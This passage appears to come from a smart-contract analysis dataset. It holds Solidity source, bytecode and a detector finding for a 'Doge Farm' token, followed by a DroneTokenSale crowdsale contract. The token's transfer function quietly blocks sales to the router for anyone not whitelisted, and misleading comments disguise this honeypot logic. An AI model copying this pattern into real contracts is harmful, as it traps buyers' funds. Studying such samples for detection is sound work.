allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function botban(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function delBot(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract DogeFarm is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 600000 * 10 ** 18; constructor () ERC20('Doge Farm','HARVEST') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461021d578063a9059cbb14610230578063c97c182114610243578063dd62ed3e1461025657600080fd5b8063715018a6146101cd57806384d0447c146101d75780638da5cb5b146101ea57806395d89b411461021557600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461019157806370a08231146101a457600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261028f565b60405161010f9190610af4565b60405180910390f35b61012b610126366004610b65565b610321565b604051901515815260200161010f565b6006545b60405190815260200161010f565b61012b61015b366004610b8f565b610338565b60405160ff7f000000000000000000000000000000000000000000000000000000000000001216815260200161010f565b61012b61019f366004610b65565b6103ee565b61013f6101b2366004610bcb565b6001600160a01b031660009081526004602052604090205490565b6101d5610425565b005b6101d56101e5366004610bcb565b610499565b6002546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101026104e5565b61012b61022b366004610b65565b6104f4565b61012b61023e366004610b65565b61058f565b6101d5610251366004610bfc565b61069b565b61013f610264366004610cc1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60606007805461029e90610cf4565b80601f01602080910402602001604051908101604052809291908181526020018280546102ca90610cf4565b80156103175780601f106102ec57610100808354040283529160200191610317565b820191906000526020600020905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b600061032e338484610709565b5060015b92915050565b600061034584848461082d565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103cf5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103e385336103de8685610d45565b610709565b506001949350505050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161032e9185906103de908690610d5c565b6000546001600160a01b0316331461044f5760405162461bcd60e51b81526004016103c690610d74565b6002546040516000916001600160a01b0316907f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b0908390a3600280546001600160a01b0319169055565b6000546001600160a01b031633146104c35760405162461bcd60e51b81526004016103c690610d74565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606008805461029e90610cf4565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105765760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c6565b61058533856103de8685610d45565b5060019392505050565b600080546001600160a01b0316331480156105b1575060095460ff1615156001145b156105d4576105c2335b848461082d565b506009805460ff191690556001610332565b6000546001600160a01b0316331480156105f1575060095460ff16155b1561068a576006546106039083610a40565b6006556001600160a01b0383166000908152600460205260409020546106299083610a40565b6001600160a01b0384166000818152600460205260409081902092909255905181907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061067a9086815260200190565b60405180910390a3506001610332565b610693336105bb565b506001610332565b6000546001600160a01b031633146106c55760405162461bcd60e51b81526004016103c690610d74565b60005b8151811015610705576106f38282815181106106e6576106e6610da9565b6020026020010151610aa6565b806106fd81610dbf565b9150506106c8565b5050565b6001600160a01b03831661076b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c6565b6001600160a01b0382166107cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c6565b6001600160a01b0382166108f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c6565b6001546001600160a01b038381169116141561092e576001600160a01b03831660009081526003602052604090205460ff1661092e57600080fd5b6001600160a01b038316600090815260046020526040902054818110156109a65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103c6565b6109b08282610d45565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109e6908490610d5c565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a3291815260200190565b60405180910390a350505050565b600080610a4d8385610d5c565b905083811015610a9f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c6565b9392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016103c690610d74565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600060208083528351808285015260005b81811015610b2157858101830151858201604001528201610b05565b81811115610b33576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b6057600080fd5b919050565b60008060408385031215610b7857600080fd5b610b8183610b49565b946020939093013593505050565b600080600060608486031215610ba457600080fd5b610bad84610b49565b9250610bbb60208501610b49565b9150604084013590509250925092565b600060208284031215610bdd57600080fd5b610a9f82610b49565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215610c0f57600080fd5b823567ffffffffffffffff80821115610c2757600080fd5b818501915085601f830112610c3b57600080fd5b813581811115610c4d57610c4d610be6565b8060051b604051601f19603f83011681018181108582111715610c7257610c72610be6565b604052918252848201925083810185019188831115610c9057600080fd5b938501935b82851015610cb557610ca685610b49565b84529385019392850192610c95565b98975050505050505050565b60008060408385031215610cd457600080fd5b610cdd83610b49565b9150610ceb60208401610b49565b90509250929050565b600181811c90821680610d0857607f821691505b60208210811415610d2957634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610d5757610d57610d2f565b500390565b60008219821115610d6f57610d6f610d2f565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415610dd357610dd3610d2f565b506001019056fea264697066735822122044e1a0c4d438bcd9b6e90139cb5a08cf4cffe1f91ec649b1b54e6e4e188a1ecf64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
590
0xbed908dc39c34125314f2141079b5ffadb270300
pragma solidity 0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transfer(address _to, uint256 _amount) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); function decimals()public view returns (uint8); function burnAllTokens() public; } /** * @title Vault * @dev This contract is used for storing funds while a crowdsale * is in progress. Funds will be transferred to owner once sale ends */ contract Vault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Withdraw } mapping (address => uint256) public deposited; address public wallet; State public state; event Withdraw(); event RefundsEnabled(); event Withdrawn(address _wallet); event Refunded(address indexed beneficiary, uint256 weiAmount); function Vault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) public onlyOwner payable{ require(state == State.Active || state == State.Withdraw);//allowing to deposit even in withdraw state since withdraw state will be started once totalFunding reaches 10,000 ether deposited[investor] = deposited[investor].add(msg.value); } function activateWithdrawal() public onlyOwner { if(state == State.Active){ state = State.Withdraw; emit Withdraw(); } } function activateRefund()public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function withdrawToWallet() onlyOwner public{ require(state == State.Withdraw); wallet.transfer(this.balance); emit Withdrawn(wallet); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } function isRefunding()public onlyOwner view returns(bool) { return (state == State.Refunding); } } contract DroneTokenSale is Ownable{ using SafeMath for uint256; //Token to be used for this sale Token public token; //All funds will go into this vault Vault public vault; //rate of token in ether 1eth = 20000 DRONE uint256 public rate = 20000; /* *There will be 4 phases * 1. Pre-sale * 2. ICO Phase 1 * 3. ICO Phase 2 * 4. ICO Phase 3 */ struct PhaseInfo{ uint256 hardcap; uint256 startTime; uint256 endTime; uint8 [3] bonusPercentages;//3 type of bonuses above 100eth, 10-100ether, less than 10ether uint256 weiRaised; } //info of each phase PhaseInfo[] public phases; //Total funding uint256 public totalFunding; //total tokesn available for sale uint256 tokensAvailableForSale = 3000000000; uint8 public noOfPhases; //Keep track of whether contract is up or not bool public contractUp; //Keep track of whether the sale has ended or not bool public saleEnded; //Event to trigger Sale stop event SaleStopped(address _owner, uint256 time); //Event to trigger normal flow of sale end event Finalized(address _owner, uint256 time); /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); //modifiers modifier _contractUp(){ require(contractUp); _; } modifier nonZeroAddress(address _to) { require(_to != address(0)); _; } modifier minEthContribution() { require(msg.value >= 0.1 ether); _; } modifier _saleEnded() { require(saleEnded); _; } modifier _saleNotEnded() { require(!saleEnded); _; } /** * @dev Check if sale contract has enough tokens on its account balance * to reward all possible participations within sale period */ function powerUpContract() external onlyOwner { // Contract should not be powered up previously require(!contractUp); // Contract should have enough DRONE credits require(token.balanceOf(this) >= tokensAvailableForSale); //activate the sale process contractUp = true; } //for Emergency/Hard stop of the sale function emergencyStop() external onlyOwner _contractUp _saleNotEnded{ saleEnded = true; if(totalFunding < 10000 ether){ vault.activateRefund(); } else{ vault.activateWithdrawal(); } emit SaleStopped(msg.sender, now); } /** * @dev Must be called after sale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize()public onlyOwner _contractUp _saleNotEnded{ require(saleTimeOver()); saleEnded = true; if(totalFunding < 10000 ether){ vault.activateRefund(); } else{ vault.activateWithdrawal(); } emit Finalized(msg.sender, now); } // @return true if all the tiers has been ended function saleTimeOver() public view returns (bool) { return now > phases[noOfPhases-1].endTime; } //if crowdsales is over, the money rasied should be transferred to the wallet address function withdrawFunds() public onlyOwner{ vault.withdrawToWallet(); } //method to refund money function getRefund()public { vault.refund(msg.sender); } /** * @dev Can be called only once. The method to allow owner to set tier information * @param _noOfPhases The integer to set number of tiers * @param _startTimes The array containing start time of each tier * @param _endTimes The array containing end time of each tier * @param _hardCaps The array containing hard cap for each tier * @param _bonusPercentages The array containing bonus percentage for each tier * The arrays should be in sync with each other. For each index 0 for each of the array should contain info about Tier 1, similarly for Tier2, 3 and 4 . * Sales hard cap will be the hard cap of last tier */ function setTiersInfo(uint8 _noOfPhases, uint256[] _startTimes, uint256[] _endTimes, uint256[] _hardCaps, uint8[3][4] _bonusPercentages)private { require(_noOfPhases==4); //Each array should contain info about each tier require(_startTimes.length == _noOfPhases); require(_endTimes.length==_noOfPhases); require(_hardCaps.length==_noOfPhases); require(_bonusPercentages.length==_noOfPhases); noOfPhases = _noOfPhases; for(uint8 i=0;i<_noOfPhases;i++){ require(_hardCaps[i]>0); require(_endTimes[i]>_startTimes[i]); if(i>0){ //start time of this tier should be greater than previous tier require(_startTimes[i] > _endTimes[i-1]); phases.push(PhaseInfo({ hardcap:_hardCaps[i], startTime:_startTimes[i], endTime:_endTimes[i], bonusPercentages:_bonusPercentages[i], weiRaised:0 })); } else{ //start time of tier1 should be greater than current time require(_startTimes[i]>now); phases.push(PhaseInfo({ hardcap:_hardCaps[i], startTime:_startTimes[i], endTime:_endTimes[i], bonusPercentages:_bonusPercentages[i], weiRaised:0 })); } } } /** * @dev Constructor method * @param _tokenToBeUsed Address of the token to be used for Sales * @param _wallet Address of the wallet which will receive the collected funds */ function DroneTokenSale(address _tokenToBeUsed, address _wallet)public nonZeroAddress(_tokenToBeUsed) nonZeroAddress(_wallet){ token = Token(_tokenToBeUsed); vault = new Vault(_wallet); uint256[] memory startTimes = new uint256[](4); uint256[] memory endTimes = new uint256[](4); uint256[] memory hardCaps = new uint256[](4); uint8[3] [4] memory bonusPercentages; //pre-sales startTimes[0] = 1522321200; //MARCH 29, 2018 11:00 AM GMT endTimes[0] = 1523790000; //APRIL 15, 2018 11:00 AM GMT hardCaps[0] = 10000 ether; bonusPercentages[0][0] = 35; bonusPercentages[0][1] = 30; bonusPercentages[0][2] = 25; //phase-1 startTimes[1] = 1525172460; //MAY 01, 2018 11:01 AM GMT endTimes[1] = 1526382000; //MAY 15, 2018 11:00 AM GMT hardCaps[1] = 20000 ether; bonusPercentages[1][0] = 25;// above 100 ether bonusPercentages[1][1] = 20;// 10<=x<=100 bonusPercentages[1][2] = 15;// less than 10 ether //phase-2 startTimes[2] = 1526382060; //MAY 15, 2018 11:01 AM GMT endTimes[2] = 1527850800; //JUNE 01, 2018 11:00 AM GMT hardCaps[2] = 30000 ether; bonusPercentages[2][0] = 15; bonusPercentages[2][1] = 10; bonusPercentages[2][2] = 5; //phase-3 startTimes[3] = 1527850860; //JUNE 01, 2018 11:01 AM GMT endTimes[3] = 1533034800; //JULY 31, 2018 11:OO AM GMT hardCaps[3] = 75000 ether; bonusPercentages[3][0] = 0; bonusPercentages[3][1] = 0; bonusPercentages[3][2] = 0; setTiersInfo(4, startTimes, endTimes, hardCaps, bonusPercentages); } //Fallback function used to buytokens function()public payable{ buyTokens(msg.sender); } /** * @dev Low level token purchase function * @param beneficiary The address who will receive the tokens for this transaction */ function buyTokens(address beneficiary)public _contractUp _saleNotEnded minEthContribution nonZeroAddress(beneficiary) payable returns(bool){ int8 currentPhaseIndex = getCurrentlyRunningPhase(); assert(currentPhaseIndex>=0); // recheck this for storage and memory PhaseInfo storage currentlyRunningPhase = phases[uint256(currentPhaseIndex)]; uint256 weiAmount = msg.value; //Check hard cap for this phase has not been reached require(weiAmount.add(currentlyRunningPhase.weiRaised) <= currentlyRunningPhase.hardcap); uint256 tokens = weiAmount.mul(rate).div(1000000000000000000);//considering decimal places to be zero for token uint256 bonusedTokens = applyBonus(tokens, currentlyRunningPhase.bonusPercentages, weiAmount); totalFunding = totalFunding.add(weiAmount); currentlyRunningPhase.weiRaised = currentlyRunningPhase.weiRaised.add(weiAmount); vault.deposit.value(msg.value)(msg.sender); token.transfer(beneficiary, bonusedTokens); emit TokenPurchase(msg.sender, beneficiary, weiAmount, bonusedTokens); return true; } /** *@dev Method to calculate bonus for the user as per currently running phase and contribution by the user * @param tokens Total tokens purchased by the user * @param percentages Array of bonus percentages for the phase as per ethers sent * @param weiSent Amount of ethers(in form of wei) sent by the user */ function applyBonus(uint256 tokens, uint8 [3]percentages, uint256 weiSent) private pure returns (uint256) { uint256 tokensToAdd = 0; if(weiSent<10 ether){ tokensToAdd = tokens.mul(percentages[2]).div(100); } else if(weiSent>=10 ether && weiSent<=100 ether){ tokensToAdd = tokens.mul(percentages[1]).div(100); } else{ tokensToAdd = tokens.mul(percentages[0]).div(100); } return tokens.add(tokensToAdd); } /** * @dev returns the currently running tier index as per time * Return -1 if no tier is running currently * */ function getCurrentlyRunningPhase()public view returns(int8){ for(uint8 i=0;i<noOfPhases;i++){ if(now>=phases[i].startTime && now<=phases[i].endTime){ return int8(i); } } return -1; } /** * @dev Get functing info of user/address. It will return how much funding the user has made in terms of wei */ function getFundingInfoForUser(address _user)public view nonZeroAddress(_user) returns(uint256){ return vault.deposited(_user); } /** *@dev Method to check whether refund process has been initiated or not by the contract. */ function isRefunding()public view returns(bool) { return vault.isRefunding(); } /** *@dev Method to burn all remanining tokens left with the sales contract after the sale has ended */ function burnRemainingTokens()public onlyOwner _contractUp _saleEnded { token.burnAllTokens(); } /** * @dev Method to activate withdrawal of funds even in between of sale. The WIthdrawal will only be activate iff totalFunding has reached 10,000 ether */ function activateWithdrawal()public onlyOwner _saleNotEnded _contractUp { require(totalFunding >= 10000 ether); vault.activateWithdrawal(); } }
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306d145c9146101345780631b35f56f1461018157806324600fc3146101b05780632c4e722e146101c55780632e37eef6146101ee5780634bb278f31461023a5780635b389dbb1461024f57806363a599a41461026457806383408d73146102795780638b6932f11461028e5780638da5cb5b146102bb5780638fe91976146103105780639b8906ae146103255780639d6fb02014610352578063a0edc2041461037f578063ac270c37146103ae578063b2d5ae44146103db578063ec8ac4d8146103f0578063f2fde38b14610436578063fbfa77cf1461046f578063fc0c546a146104c4578063fe47a8a714610519575b61013133610542565b50005b341561013f57600080fd5b61016b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610940565b6040518082815260200191505060405180910390f35b341561018c57600080fd5b610194610a5a565b604051808260000b60000b815260200191505060405180910390f35b34156101bb57600080fd5b6101c3610b17565b005b34156101d057600080fd5b6101d8610c09565b6040518082815260200191505060405180910390f35b34156101f957600080fd5b61020f6004808035906020019091905050610c0f565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561024557600080fd5b61024d610c4e565b005b341561025a57600080fd5b610262610ebf565b005b341561026f57600080fd5b610277611036565b005b341561028457600080fd5b61028c611294565b005b341561029957600080fd5b6102a16113bc565b604051808215151515815260200191505060405180910390f35b34156102c657600080fd5b6102ce6113fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561031b57600080fd5b610323611420565b005b341561033057600080fd5b610338611564565b604051808215151515815260200191505060405180910390f35b341561035d57600080fd5b610365611577565b604051808215151515815260200191505060405180910390f35b341561038a57600080fd5b61039261161a565b604051808260ff1660ff16815260200191505060405180910390f35b34156103b957600080fd5b6103c161162d565b604051808215151515815260200191505060405180910390f35b34156103e657600080fd5b6103ee611640565b005b61041c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610542565b604051808215151515815260200191505060405180910390f35b341561044157600080fd5b61046d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061170e565b005b341561047a57600080fd5b610482611863565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104cf57600080fd5b6104d7611889565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561052457600080fd5b61052c6118af565b6040518082815260200191505060405180910390f35b600080600080600080600760019054906101000a900460ff16151561056657600080fd5b600760029054906101000a900460ff1615151561058257600080fd5b67016345785d8a0000341015151561059957600080fd5b86600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156105d657600080fd5b6105de610a5a565b955060008660000b121515156105f057fe5b60048660000b81548110151561060257fe5b9060005260206000209060050201945034935084600001546106318660040154866118b590919063ffffffff16565b1115151561063e57600080fd5b61066d670de0b6b3a764000061065f600354876118d390919063ffffffff16565b61190e90919063ffffffff16565b92506106df83866003016003806020026040519081016040528092919082600380156106d4576020028201916000905b82829054906101000a900460ff1660ff168152602001906001019060208260000104928301926001038202915080841161069d5790505b505050505086611929565b91506106f6846005546118b590919063ffffffff16565b6005819055506107138486600401546118b590919063ffffffff16565b8560040181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0134336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15156107d757600080fd5b5af115156107e457600080fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb89846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156108ac57600080fd5b5af115156108b957600080fd5b50505060405180519050508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188685604051808381526020018281526020019250505060405180910390a360019650505050505050919050565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561097f57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cb13cddb846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610a3b57600080fd5b5af11515610a4857600080fd5b50505060405180519050915050919050565b600080600090505b600760009054906101000a900460ff1660ff168160ff161015610aef5760048160ff16815481101515610a9157fe5b9060005260206000209060050201600101544210158015610ad5575060048160ff16815481101515610abf57fe5b9060005260206000209060050201600201544211155b15610ae257809150610b13565b8080600101915050610a62565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff91505b5090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b7257600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166303ba27f66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610bf757600080fd5b5af11515610c0457600080fd5b505050565b60035481565b600481815481101515610c1e57fe5b90600052602060002090600502016000915090508060000154908060010154908060020154908060040154905084565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ca957600080fd5b600760019054906101000a900460ff161515610cc457600080fd5b600760029054906101000a900460ff16151515610ce057600080fd5b610ce86113bc565b1515610cf357600080fd5b6001600760026101000a81548160ff02191690831515021790555069021e19e0c9bab24000006005541015610dbc57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633cdb3aa66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610da757600080fd5b5af11515610db457600080fd5b505050610e52565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638fe919766040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610e4157600080fd5b5af11515610e4e57600080fd5b5050505b7f66b6851664a82efe6b871e434faba2b11421d2dad65eb71a344ae76cca8a2b863342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1a57600080fd5b600760019054906101000a900460ff16151515610f3657600080fd5b600654600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610ff557600080fd5b5af1151561100257600080fd5b505050604051805190501015151561101957600080fd5b6001600760016101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109157600080fd5b600760019054906101000a900460ff1615156110ac57600080fd5b600760029054906101000a900460ff161515156110c857600080fd5b6001600760026101000a81548160ff02191690831515021790555069021e19e0c9bab2400000600554101561119157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633cdb3aa66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561117c57600080fd5b5af1151561118957600080fd5b505050611227565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638fe919766040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561121657600080fd5b5af1151561122357600080fd5b5050505b7f4898556e3bd8b06263e50e938f30f736c1fd2030390474dd6bc0b28d8c5450373342604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ef57600080fd5b600760019054906101000a900460ff16151561130a57600080fd5b600760029054906101000a900460ff16151561132557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c17e2aa16040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156113aa57600080fd5b5af115156113b757600080fd5b505050565b600060046001600760009054906101000a900460ff160360ff168154811015156113e257fe5b9060005260206000209060050201600201544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147b57600080fd5b600760029054906101000a900460ff1615151561149757600080fd5b600760019054906101000a900460ff1615156114b257600080fd5b69021e19e0c9bab2400000600554101515156114cd57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638fe919766040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000